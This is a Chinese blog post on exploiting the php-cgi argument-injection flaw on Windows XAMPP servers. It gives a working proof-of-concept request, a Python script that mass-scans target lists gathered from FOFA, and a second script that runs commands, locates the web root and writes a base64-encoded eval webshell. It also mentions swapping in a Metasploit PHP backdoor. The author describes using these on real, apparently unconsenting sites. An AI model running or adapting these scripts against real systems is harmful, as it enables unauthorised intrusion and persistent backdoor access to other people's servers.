php-cgi漏洞利用

php-cgi漏洞利用

对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区

poc

c 复制代码
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1

这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)

pythonimport 复制代码
# 目标URL
import requests

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
        if "text" in response.text:
            print(url.replace('\n', '')+"存在漏洞")
    except:
        print(url.replace('\n', '') + "不存在漏洞")

这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可

那么也是找到了一个大冤种,

首先通过执行命令的方式找一下webshell应该存放的目录

这里网站的根目录也就是C:\\xampp\\htdocs\\,也就是xampp的默认目录,

配合file_put_contents方法,上传一句话木马,那么就是

c 复制代码
<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))

这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,

当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用

c 复制代码
import requests
import re

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
            data1='<?php system("chdir")?>'
            response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
            pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
            lujing=re.findall(pattern,response.text)
            path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
            data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
            response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
            response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
            if response.status_code==200:
                print(urls+"/phpin.fo")
    except:
        continue

代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可

第二种方法

msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因

相关推荐
Highcharts.js14 小时前
Highcharts 数据源安全最佳实践:保障数据安全,助力可视化可信部署
安全·highcharts
Suckerbin14 小时前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
水兵没月15 小时前
解决Win11 安全中心删掉存在隐患的工具
安全
码农101号16 小时前
运维安全04 - iptable的介绍以及使用
安全
李白你好16 小时前
CyberPoC 是一个现代化的网络安全练习和竞赛平台,支持容器化部署的安全挑战,为用户提供实践网络安全技能的环境。
web安全
悠悠~飘18 小时前
php简介(第一天打卡)
php
行思理20 小时前
linux 安全与防护,全方向讲解
linux·安全·github
深盾安全20 小时前
Flutter框架编译Android程序全攻略:从入门到进阶
安全
房屋安全鉴定检测21 小时前
房屋安全鉴定报告有效期多久
安全·网络安全
心 一21 小时前
Web安全基石:深入理解与防御SQL注入漏洞
sql·安全·web安全